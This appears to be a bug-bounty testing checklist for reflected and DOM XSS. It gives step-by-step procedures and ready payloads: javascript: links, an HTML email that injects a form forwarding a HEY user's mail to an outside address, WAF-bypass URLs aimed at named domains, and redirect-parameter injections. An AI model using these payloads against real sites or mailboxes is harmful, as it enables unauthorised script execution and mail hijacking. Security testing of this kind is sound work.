Reflected Cross Site Scripting
Check List
Methodology
Black Box
XSS Reflected
Log in to any platform that allows creating or editing text-based pages (such as a Wiki or documentation system)
Create a new page
In the field for the page identifier or slug, enter javascript:
Configure the page as follows
Title: javascript:
Format: Markdown
Content: [XSS](.alert(1);)
Save or publish the page
After the page is created, click the link labeled “XSS” in the page content
If the system is vulnerable, the JavaScript code will execute (e.g., an alert(1) will appear)
XSS IN Email
Create a new text file (e.g. email.txt)
Put the following exact contents into the file (including headers and Content-type: text/html)
From: jouko@klikki.fi
To: jouko@hey.com
Subject: HackerOne test
MIME-Version: 1.0
Content-type: text/html
<style>
url(cid://\00003c\000027message-content\00003e\00003ctemplate\00003e\00003cstyle\00003exxx);
url(cid://\00003c/style\00003e\00003c/template\00003e\00003c/message-content\00003e\00003cform\000020action=/my/accounts/266986/forwardings/outbounds\000020data-controller=beacon\00003e\00003cinput\000020type=text\000020name=contact_outbound_forwarding[to_email_address]\000020value=joukop@gmail.com\00003e\00003c/form\00003exxx);
</style>Send the email using sendmail on Linux as an example
/usr/sbin/sendmail -t < email.txt(or use any other tool capable of sending raw MIME/HTML emails)
Open the recipient’s HEY account and load the sent email (refresh the inbox/viewer if needed)
Inspect the rendered HTML to find injected tags or form elements (e.g. injected <form ...> or <iframe ...>)
Observe any automatic behaviors triggered by the injected HTML (such as POST requests to create forwarding or a full-window iframe)
Repeat with the alternative payload examples from the report (iframe-based spoof or <script src=...> + hcaptcha payload) to verify other exploitation vectors
Reflected XSS In Marketing Reports Page
Log in to the store's website and complete the authentication process
Then go to the report section in your profile
When you enter the page, check the URL and find parameters like return_page_pathname= (may be different in each site)
Inject the parameter using the following payload and check if the code is executed or not
javascript:alert('XSS')If it is implemented, we hit a vulnerability
Reflected cross site scripting (XSS) attacks
Enter a site and complete the authentication process
In the authentication process, make an error on one of the parameters so that the authentication process fails
If you encounter errmssg parameters in subsequent requests, inject xss-related payloads in these parameters
For example, like this request below
errmsg = [https://102.176.160.119:10443/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E]DOM XSS
Bring up the Burp tool and make a request to the main page of the site
In the Response section, click on the search section and search for the word window.location.hash and check if it exists or not
If there is, inject the payload as shown below and see if it is reflected or not
https://www.example.com/#<img src=x onerror=alert('XSS')>DOMXSS in redirect param
Logout website
Get the request using Burp and check the request
In the requests review, if you find a request like the one below, inject the payload
https://subdomain.example.net/?redirect=javascript:prompt(document.domain)%2f%2f Log in through email
XSS Reflected in Redirect_url
Log in to the site and complete the registration process
Trace the registration process using Burp and inspect the parameters
If you see a parameter called redirect_url, inject the following payload as shown below:
https://example.net/resign_request/success?next_url=javascript%3Aalert%2F**%2F(document.domain)If the code is reflected, the vulnerability has occurred
Payload For WAF Bypass
https://www.example.com.br/testing%2522%80%2520accesskey='x'%2520onclick='confirm%601%60'https://www.example.com.br/testing%2522%FF%2520accesskey='x'%2520onclick='confirm%601%60'https://www.starbucks.com.br/testing%80%2522%2520accesskey='x'%2520onclick='confirm%601%60'Location Information Parameter
Log in to your account and profile on the target site
Go to the general section of your account and enter the street address, city, and the following payload
/"><!--><svg/onload=alert(document.domain)>)After injection, save and log in to see your location information and live view
For example, something like the path below (keep in mind that this path can be different for each site)
https://example.com/user/dashboards/liveWhite Box
Cheat Sheet
Last updated